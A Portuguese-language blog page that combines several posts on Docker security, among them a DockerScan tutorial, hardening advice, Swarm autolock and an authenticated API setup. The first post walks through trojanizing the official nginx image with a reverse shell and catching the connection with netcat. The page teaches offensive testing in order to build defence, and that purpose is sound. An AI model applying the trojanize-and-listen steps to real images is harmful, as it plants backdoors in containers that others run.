DockerScan: Análise e hacking para Docker

Olá gente! Tudo bem?

Continuando a série de textos sobre Segurança e Docker, hoje vou falar sobre uma das ferramentas que citei no texto Segurança e hacking de containers Docker,  vamos ver mais detalhes sobre a ferramenta DockerScan.

DockerScan é uma ferramentas de análise e hacking de containers Docker, com ela é possível fazer uma varredura buscando por vulnerabilidades de segurança e também fazer o inverso, injetar vulnerabilidades em imagens Docker, abaixo vamos ver suas principais funcionalidades e alguns exemplos de uso.

Principais Funcionalidades

  • Faz scan de uma rede tentando localizar os Docker Registries
  • Registry
    • Delete: Exclui image / tag remota
    • Info: Mostra informações  de registros remotos
    • Push: Envia uma imagem
    • Upload: Upload de arquivo
  • Image
    • Analyze
      • Busca por informações confidenciais em uma imagem
      • Busca por senhas em variáveis de ambiente
      • Busca por qualquer URL / IP em variáveis de ambiente
      • Tenta identificar o usuário usado para executar o software
    • Extract: extrair uma imagem
    • Info: Obtém meta-informação da imagem
    • Modify:
      • entrypoint: altere o ponto de entrada em um Docker
      • trojanize: injeta um reverse shell em uma imagem Docker
      • user: altere o usuário em execução em uma imagem Docker

Instalando o DockerScan

Vamos ver agora como é simples instalar a ferramenta DockerScan.

Primeiro instale o gerenciador de pacotes da linguagem Python o pip:

> python3.5 -m pip install -U pip

Agora instalamos o DockerScan

> python3.5 -m pip install dockerscan

Verifique se a instalação foi feita corretamente e exiba as opções de funcionamento:

> dockerscan -h

Exemplos de utilização

Agora vamos para a parte legal, por a mão na massa, vamos ver alguns exemplos de como o DockerScan pode ser utilizado:

Com o comando a baixo pode ser escaneada uma imagem para identificar possíveis vulnerabilidades:

$ dockerscan image info nome-da-imagem

Seguindos os passos a baixo podemos injetar vulnerabilidade em uma imagem Docker. Vamos adicionar um reverse shell neste exemplo:

//Baixe a imagem oficial do nginx
$ docker pull nginx

//Salve uma cópia da imagem
$ docker save nginx -o nginx-original

//Liste o conteúdo do diretório para ver se foi criada a cópia
$ ls -lh nginx-original

//Execute o seguinte comando para ver as informações da imagem
$ dockerscan image info nginx-original

//Execute um ifconfig para saber seu ip
$ ifconfig

//Execute para injetar um reverser shell
$ dockerscan image modify trojanize nginx-original -l 172.18.0.1 -p 2222 -o nginx-trojanized
//Com este comando será criada uma nova imagem com um reverse shell

//Execute em outro terminal para ficar "ouvindo" a porta 2222
$ nc -v -k -l 2222

//Faça o load da imagem com vulnerabilidade
$ docker load -i nginx-trojanized.tar

//Execute
$ docker run nginx:latest

Um reverse shell é um tipo de shell no qual a máquina alvo se comunica de volta à máquina atacante. A máquina atacante tem uma porta ouvinte na qual ele recebe a conexão, que ao usar, o código ou a execução do comando são alcançados.

Isso é tudo por enquanto, no repositório do projeto DockerScan pode ser encontrada mais informações sobre esta ferramenta, se você conhece outras dicas, ferramentas, ficou com alguma dúvida ou tem algo a contribuir, deixe um comentário abaixo. Obrigado pela leitura.

Segurança e hacking de containers Docker

Olá gente! Tudo bem?

Como vocês podem ter notado, meu nome é Fernando e este é o meu primeiro post aqui no blog, e minha contribuição será no sentido de esclarecer e ajudar vocês com algumas questões que pouca gente se preocupa, ou até mesmo implementa, mas que eventualmente pode prejudicar a sua aplicação ou seu negócio, sim, hoje falaremos sobre Segurança 😉 .

A alguns meses iniciei uma busca por informações sobre segurança relacionado a Docker, pois não via quase ninguém falar, na época até pensei que era porque eu estava por fora dos grupos de discussões, mas ao ir conversando com algumas pessoas bem envolvidas com a comunidade Docker fui vendo que em português temos bem pouco sobre este assunto. Então comecei a buscar por este assunto e fui encontrando materiais em inglês, assim fui montando um compilado de materiais sobre para tentar criar uma apresentação ou artigo. Conversando com o Cristiano do Mundo Docker, que é um membro muito ativo na comunidade Docker, recebi bastante incentivo pois ele também achou que o assunto é bem importante e pouco abordado, e nesta conversa surgiu a ideia de fazer uma pesquisa com a comunidade para saber de quem está usando Docker o que estão fazendo com relação a segurança.

Foi um questionário bem simples, com 3 perguntas  que foi realizado entre 14 e 25 de agosto 2017, com 36 participantes.

Primeira pergunta: Já utilizou Docker em produção?

Mais de 55 por cento das pessoas que participaram da pesquisa responderam que utilizam Docker em produção.

Segunda pergunta: Verifica vulnerabilidades nas imagens utilizadas?

Dos 36 participantes menos de 20 por cento faz algum tipo de verificação para tentar identificar vulnerabilidades nas imagens Docker utilizadas.

Terceira pergunta: Como verificar vulnerabilidades?

E na última pergunta a ideia era identificar se é utilizado algum tipo de ferramenta para fazer as verificações de vulnerabilidades. Dos 19.4% que responderam que fazem alguma verificação somente um respondeu que utilizava alguma tipo de ferramenta, os outros informaram fazer verificações manuais, analisando o dockerfile e suas dependências, verificando autenticação, permissões e qualquer tipo de comunicação com o host.

Com base nessa pesquisa eu passei a focar o desenvolvimento deste material em ferramentas que podem ajudar no dia-a-dia para verificação de vulnerabilidades, em imagens, container e host. E com isso também encontrei ferramentas para fazer hacking de containers Docker. Para se proteger nada melhor que saber como pode ser atacado, então acompanhem até o final que vamos ter bastante dicas e ferramentas bacanas.

Mas para começarmos a utilizar as ferramentas primeiro precisamos estar ciente de algumas preocupações e práticas de segurança  ao usar Docker.

Preocupações com segurança ao usar Docker

Kernel exploits (exploração do kernel)

Ao contrário de uma VM, ao usar containers o kernel é compartilhado entre todos os containers e o host, aumentando a importância de qualquer vulnerabilidade que explore o kernel.

Denial-of-service attacks (ataque de negação de serviço)

Como todos os containers compartilham  recursos do kernel, se um container pode monopolizar o acesso a certos recursos, incluindo memória, ou até IDs de usuário (UIDs), pode faltar recursos para outros containers, resultando em uma negação de serviço (DoS).

Container breakouts (invasão de container)

Um invasor que tem acesso a um container não pode ter acesso a outros containers ou ao host. Se você usa root no container, você será root no host.

Poisoned images (imagens “envenenadas”)

Como você sabe que as imagens que você está usando são seguras, não foram adulteradas, e vêm de onde elas afirmam vir?

Application secrets (segredos de aplicações)

Quando um container acessa um banco de dados ou serviço, provavelmente exigirá credenciais, como um token ou mesmo usuário e senha. Se um invasor tiver acesso ao container terá acesso a estes dados.

Práticas de segurança

No tópico anterior foi levantada algumas preocupações de segurança que devemos ter ao usar containers, agora vamos ver algumas possíveis soluções para tentar resolver estes problemas.

Inicio este tópico com uma pergunta.

Como devemos armazenar dados sensíveis, como senhas, chaves privadas, tokens, chaves de APIs?

Para começar a responder esta pergunta, eu acho mais fácil e direto responder como não devemos armazenar dados sensíveis.

Não use variáveis de ambiente ou incorpore na imagem de container. É uma dica meio óbvio mas acontece e muito. Se quiserem ler sobre um caso, de utilização de credenciais incorporadas na imagem e que vazou,  tem um consideravelmente conhecido que aconteceu com a IBM: IBM Data Science Experience: Whole-Cluster Privilege Escalation Disclosure.

Mas como então devemos armazenar nossas credenciais de acesso quando usamos containers? Uma ótima solução é utilizar o Docker Secrets Management.

Docker Secrets Management

O Docker Secrets funciona como um cofre onde você pode colocar coisas sensíveis lá e só quem tem a chave do cofre consegue utilizar, no caso essa chave é designada aos nós dos serviços que a chave for atribuída. Mais de como funciona pode ser visto no blog Mundo Docker – Docker Secrets.

Outras dicas de segurança menciono abaixo em forma de tópicos:

Proteja seu host

  • Certifique-se de que seu host e a configuração do Docker engine sejam seguras
  • Mantenha seu SO atualizado
  • Impor controle  de acesso para evitar operações indesejadas, tanto no host como nos containers, usando ferramentas como SecComp, AppArmor ou SELinux

Redução dos privilégios

  • Tomar cuidado ao executar como root
  • Crie namespaces isolados
  • Limitar privilégios ao máximo
  • Verifique se o container é confiável (verifique a imagem)

Alto uso de recursos do container

  • Limite os recursos no kernel ou no container
  • Fazer testes de carga antes de pôr em produção
  • Implemente monitoramento e alertas

Autenticidade da imagem

  • De onde veio?
  • Você confia no criador?
  • Quais políticas de segurança está usando?
  • Identificação do autor
  • Não use se não confia na fonte
  • Use um servidor Docker Registry próprio
  • Verifique a assinatura da imagem

Vulnerabilidades de segurança presentes na imagem

  • Inspecionar as imagens
  • Atualize para pegar novos patches de segurança
  • Utilize uma ferramenta de scanner de vulnerabilidades
  • Integre esse scanner como etapa do seu CI/CD

Ferramentas de análise de segurança e hacking

Até aqui vimos algumas preocupações que devemos ter e algumas soluções relacionadas a segurança quando usamos containers, agora vamos ver algumas ferramentas que podem nos auxiliar e muito no nosso dia-a-dia.

Docker Security Scanning

Anteriormente conhecido por Projeto Nautilus, a solução fornece um perfil de segurança detalhado das imagens Docker com objetivo de tornar o ambiente em conformidade com as melhores práticas. A ferramenta faz uma varredura das imagens antes de serem utilizadas e monitoramento de vulnerabilidades. Esta ferramenta está disponível no Docker Hub, Store e Cloud.

No Docker Hub por exemplo está disponível para as imagens oficiais e pode ser visto o nível de vulnerabilidade destas imagens ao acessar as tags.

Ao clicar em uma das tags é possível identificar em qual camada está esta vulnerabilidade.

Abaixo algumas ferramentas separadas por projetos Open Source e Aplicações Web gratuitas ou pagas. São ferramentas que podem auxiliar no dia-a-dia na verificação de vulnerabilidades.

Ferramentas Web

  • Anchore – anchore.io – Descubra, analise e certifique as imagens e containers
  • Image Layers – imagelayers.io – Inspeciona as imagens dos containers e seus metadados
  • Micro Badger – microbadger.com – Inspeciona as imagens dos containers e seus metadados
  • Quay – quay.io – Constrói, analisa e distribui imagens de containers
  • Twistlock – twistlock.com – Segurança para containers Docker, Kubernetes e mais
  • Aqua – aquasec.com – Plataforma de segurança para containers

Ferramentas Open Source

  • Docker Bench for Security – https://dockerbench.com/ – O Docker Bench for Security é um script que verifica dezenas de melhores práticas comuns em torno da implantação de containers Docker na produção.
  • Open Scap – open-scap.org – Esta ferramenta faz revisão de imagens e containers para identificar vulnerabilidades.
  • Docke Scan – github.com/kost/dockscan – Esta ferramenta faz scanner de imagens Docker para identificar vulnerabilidades.
  • Docker Scan – github.com/cr0hn/dockerscan – Esta ferramenta faz scanner de imagens Docker para identificar vulnerabilidades e também possui funcionalidade para injetar vulnerabilidades.

Isso é tudo por enquanto, mas se você conhece outras dicas ou ferramentas que não são mencionadas aqui, deixe um comentário abaixo. Obrigado pela leitura e um grande abraço!

 

Segurança do Docker Swarm

Olá gente!

Com a grande ajuda do wsilva, estamos trazendo um post que levanta um ponto bem interessante do ambiente de Docker Swarm : Como deixar meu cluster mais seguro?

Existem diferentes forma de se fazer isso, algumas nativas, e outras envolvendo ferramentas de terceiros, nesse post replicaremos o post do Dumps Cerebrais, que aborda uma das formas nativas de se garantir maior segurança no cluster de Swarm. Vamos lá!

O Auto Locking

é uma das grandes funcionalidades adicionadas na versão 1.13.0 do Docker e presente nas novas versões 1.13.1, 17.03.0-ce, 17.03.1-ce e 17.04.0-ce (versões disponíveis até a data de publicação desse artigo).

Você deve estar se perguntando: “Versões 1.12, 1.13 e agora 17.03.x-ce? Que zona é essa?” Na verdade não é zona, é reorganização, na versão 1.13 uma das novidades foi a reorganização dos comandos no CLI, agora a Docker está reorganizando os release e versões. Ela lançou um novo ciclo de releases, renomeou as versões baseando-se em datas (ano e mês) e separou a parte open source, Docker CE (community edition) da parte proprietária com licensa e com planos de suporte da própria Docker, o EE (enterprise edition). Resumindo reorganização. Mas essa é uma história que podemos detalhar em outro artigo, nosso foco aqui será mostrar o que é e como funciona o Auto Locking

A motivação por trás do Auto Locking

Tanto a comunicação entre os nós do Swarm quanto os logs do Raft consensus são por padrão encriptados por chaves TLS que ficam nos discos das máquinas managers. Tá, mas o que isso quer dizer?

Vamos imaginar que uma máquina manager reinicia, tanto a chave TLS usada para a encriptação da comunicação entre os nós, quanto a chave TLS usada para encriptar os logs do Raft são carregados na sua memória. Isso por um lado é bom pois permite que um nó seja reiniciado sem intervenção humana e sistema continua funcionando normalmente. Por outro lado se alguém conseguir essas chaves seja por um backup que vaze ou disco corrompido essa pessoa vai conseguir acesso aos logs do Raft e também às informações sensíveis como onde estão rodando os serviços, às configurações de acesso dos serviços e inclusive aos secrets dessas aplicações rodando nesse cluster.

Como funciona o Auto Locking.

O auto locking é uma camada de proteção a mais e é super simples. Quando você iniciar ou atualizar um cluster Swarm passando a flag --autolock uma chave é gerada para encriptar as demais chaves, porém essa nova chave é responsabilidade nossa e deve ser mantida por nós, devs e operadores. Seja via password manager, seja guardando de cabeça (o que duvido), seja anotando em papel de pão.

Com o auto lock ativo se por um acaso a máquina reiniciar ninguém conseguirá rodar comandos nela sem antes desbloqueá-la e para desbloquear aquela chave de nossa responsabilidade será solicitada.

Podemos iniciar um cluster já utilizando a funcionalidade de auto lock:

$ docker swarm init --autolock
Swarm initialized: current node (drr4hrzngqoh90cpp0t5lnuv1) is now a manager.

To add a worker to this swarm, run the following command:

    docker swarm join \
    --token SWMTKN-1-1infi7fei781xasqoh1q1k5i7p47ocvyptaoq1r6dmmp1bwz0p-e37ividr81a45qzhq9ptkb836 \
    192.168.65.2:2377

To add a manager to this swarm, run 'docker swarm join-token manager' and follow the instructions.

To unlock a swarm manager after it restarts, run the `docker swarm unlock`
command and provide the following key:

    SWMKEY-1-nly8Gmulj+xuPwFF4ks4evN6OxdUtVFdD1QlIhdVvto

Please remember to store this key in a password manager, since without it you
will not be able to restart the manager.

Ou adicionar a um cluster já em produção:

$ docker swarm update --autolock
Swarm updated.
To unlock a swarm manager after it restarts, run the `docker swarm unlock`
command and provide the following key:

    SWMKEY-1-av+McYBAyjy6o1RMYsDqUsS8lkjH05t5HMnP7USjk+4

Please remember to store this key in a password manager, since without it you
will not be able to restart the manager.

Podemos perceber o token gerado nos dois casos, ambos começam com SWMKEY, essa é a chave que devemos guardar, ela não é persistida no cluster.

Se a máquina manager não estiver travada você consegue recuperar essa chave com seguinte comando:

$ docker swarm unlock-key
To unlock a swarm manager after it restarts, run the `docker swarm unlock`
command and provide the following key:

    SWMKEY-1-av+McYBAyjy6o1RMYsDqUsS8lkjH05t5HMnP7USjk+4

Please remember to store this key in a password manager, since without it you
will not be able to restart the manager.

Se a máquina estiver travada qualquer comando administrativo não será executado e vai retornar a seguinte mensagem:

$ docker node ls
Error response from daemon: Swarm is encrypted and needs to be unlocked before it can be used. Please use "docker swarm unlock" to unlock it.

Para mudarmos a key que destrava o Swarm usamos o seguinte comando:

$ docker swarm unlock-key --rotate
Successfully rotated manager unlock key.

To unlock a swarm manager after it restarts, run the `docker swarm unlock`
command and provide the following key:

    SWMKEY-1-ECkuyhW8Zgc9nZthmkMpZd5f+mxPuOEC5K6CyA89xNk

Please remember to store this key in a password manager, since without it you
will not be able to restart the manager.

Para ficar mais claro, o wsilva ainda gravou um vídeo, esse mesmo foi utilizado no meetup de docker em SP (grupo do qual ele ajuda a organizar), confere:

Bem bacana né? Então não deixe de utilizar, como visto é bem simples a sua configuração, se quiser ter certeza antes de sair colocando em produção, usa o Play-With-Docker para montar seu lab e testar, é uma ferramenta free e bem simples de se usar, através dela você pode subir todo seu ambiente, validar e depois disso colocar a mão na massa em seu ambiente, há obviamente uma limitação, que é o tempo de uso, mas garanto que facilita horrores 🙂 .

Então era isso, nos ajude divulgando o blog, e deixe suas dúvidas, elogios ou críticas nos comentários 😉 .

Grande abraço!

Docker – API Autenticada

Oi Pessoal,

Uma das grandes vantagens em se utilizar o Docker em vez de LXC puro é a facilidade de se trabalhar utilizando uma API de integração, isso facilita e agiliza a vida tanto de programadores quanto do pessoal de operações. Alguns cuidados devem ser tomados é claro, entre eles em não expor a API de seu host Docker, pois nativamente não há um método de limitar o acesso. Existem soluções para isso? É claro, e hoje o mundodocker.com.br abordará um delas: Docker API com Basic Authentication.

Passo 1:

Primeiramente você deve expor a API do Docker apenas localhost, para isso você deverá editar o arquivo de configuração, no nosso exemplo (CentOS 7) é no /etc/sysconfig/docker, e deixe-o assim:

OPTIONS='-H tcp://127.0.0.1:2376 -H unix:///var/run/docker.sock'

Em seguida reinicie o serviço do Docker:

systemctl restart docker.service

Passo 2:

Agora precisamos instalar e configurar um proxy http (Nginx, Apache, etc), no nosso exemplo vamos utilizar o Nginx, para isso:

yum install nginx -y

Agora precisamos definir as credenciais de acesso, é simples, basta criar .htpasswd e fazer com que o proxy exija usuário e senha em uma determinada url, vamos lá:

htpasswd -c /etc/nginx/.htpasswd USUARIO

Ele solicitará a senha, digite-a duas vezes e está pronto seu arquivo de autenticação.

Agora vamos a configuração do proxy, para isso precisamos editar o arquivo: /etc/nginx/conf.d/default.conf e deixe-o da seguinte forma:

server {
 listen 2375 default_server;
 server_name localhost;
 location / {
 proxy_pass http://127.0.0.1:2376;
 auth_basic_user_file /etc/nginx/.htpasswd;
 auth_basic "Acesso restrito a API do Docker";
 }
}

O que falta? reiniciar o serviço do Nginx:

systemctl restart nginx.service

Testes

Depois de tudo configurado (se fosse não encontrar nenhum erro no caminho também 😉 ) basta você testar de uma forma bem simples: http://ipdoservidor:2375/info ele solicitará os dados informados anteriormente via htpasswd e retornará algumas informações do Docker e dos containers que está em execução neste host.

Você pode optar por outro método, que é o certificado SSL diretamente na API do Docker, isso garante que apenas clientes confiáveis tenham acesso ao host (pois deverão tem o certificado client configurado). E claro, você pode configurar para que o Nginx trabalhe sob SSL, isso garante que, além da autenticação com usuário e senha, você ainda tenha todos os seus dados trafegados de forma criptografada (esse sim é um ótimo método).

Por hoje era isso gente, gostaram? Ajudem divulgando o Blog por ai 😉

Abraços!

Docker Bench for Security

Eai pessoal!

Os engenheiros do Docker disponibilizaram uma ferramenta para testes básicos de segurança para o ambiente Docker. Essa ferramenta nada mais é do que um container que executa um script e verifica se as melhores práticas e recomendações de segurança foram seguidas na instalação e configuração do serviço do Docker. Para executar rode o comando:

docker run -it --net host --pid host --cap-add audit_control -v /var/lib:/var/lib -v /var/run/docker.sock:/var/run/docker.sock -v /usr/lib/systemd:/usr/lib/systemd -v /etc:/etc --label docker_bench_security docker/docker-bench-security

Este comando retornará algo parecido com:

BenchDocker

Que é um report sobre como está seu ambiente, a cada procedimento para correção das falhas indicadas por este relatório, você deverá executar novamente o comando, pois ele analisará se a correção surtiu efeito ou não.

Lembrando que é recomendado que você execute esse container na versão 1.6 em diante do Docker.

Todos os testes realizados por esse script foram criados baseados em um estudo realizado pelo CISecurity (Center Of Internet Security), que indicam quais seriam as melhores formas de se proteger e aumentar a segurança de seu ambiente Docker.

Espero que tenha sido útil, tendo dúvidas ou precisando de ajuda para resolver algum ponto nos avise, e ajude divulgando o mundodocker.com.br!

 

Referências:

https://benchmarks.cisecurity.org/tools2/docker/CIS_Docker_1.6_Benchmark_v1.0.0.pdf

https://github.com/docker/docker-bench-security

Understanding Docker Security and Best Practices